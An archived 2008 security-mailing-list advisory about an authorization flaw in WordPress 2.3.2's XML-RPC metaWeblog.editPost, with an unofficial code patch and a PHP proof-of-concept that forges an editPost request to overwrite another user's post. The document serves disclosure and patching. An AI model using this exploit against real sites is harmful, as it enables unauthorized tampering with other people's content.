Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [UNIX] WordPress metaWeblog.editPost Post Arbitrary Modification (xmlrpc, Exploit, Patch) |
|---|---|
| Date: | 2 Feb 2008 19:35:02 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - WordPress metaWeblog.editPost Post Arbitrary Modification (xmlrpc, Exploit, Patch) ------------------------------------------------------------------------ SUMMARY <http://wordpress.org/> WordPress is "a state-of-the-art semantic personal publishing platform with a focus on aesthetics, web standards, and usability". A vulnerability in the way Wordpress handles the metaWeblog.editPost allows remote attackers that have just subscriber privileges to modify the posts of other users. DETAILS Vulnerable Systems: * Wordpress version 2.3.2 Workaround: To prevent the xmlrpc engine from modifying posts without verifying whether the person has rights to do so or not modify the following PHP code: if ( ('post' == $post_type ) && !current_user_can('edit_post', $post_ID) ) return new IXR_Error(401, __('Sorry, you can not edit this post.')); To include: if ( (1 || 'post' == $post_type ) && !current_user_can('edit_post', $post_ID) ) return new IXR_Error(401, __('Sorry, you can not edit this post.')); Of course the patch is not official, and would probably break other stuff - but security is our number one priority, as a side note version 2.0.x doesn't have that 'post' == ... test. Exploit: <?php /** * POC : XMLRPC Hack * */ $host = ''; // blog url $page = '/xmlrpc.php'; $data = '<?xml version="1.0" ?> <methodCall> <methodName>metaWeblog.editPost</methodName> <params> <value> <i4>post_ID</i4> </value> <value> <string>username</string> </value> <value> <string>password</string> </value> <struct> <member> <name>post_type</name> <value>page</value> </member> <member> <name>title</name> <value> <string>Pwnd</string> </value> </member> <member> <name>description</name> <value>Whoo is ma biatch</value> </member> </struct> </params> </methodCall>'; $exploited = fsockopen($host, 80, $errorNumber, $errorString); $requestHeader = $method." ".$page." HTTP/1.1\r\n"; $requestHeader.= "Host: ".$host."\r\n"; $requestHeader.= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n"; $requestHeader.= "Content-Type: application/x-www-form-urlencoded\r\n"; $requestHeader.= "Content-Length: ".strlen($data)."\r\n"; $requestHeader.= "Connection: close\r\n\r\n"; $requestHeader.= $data; fwrite($exploited, $requestHeader ); echo 'done ;)'; ?> ADDITIONAL INFORMATION The information has been provided by Paul (Yabba) Jones. ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Next by Date: | [UNIX] The Everything Development System SQL Injection, SecuriTeam |
|---|---|
| Next by Thread: | [UNIX] The Everything Development System SQL Injection, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |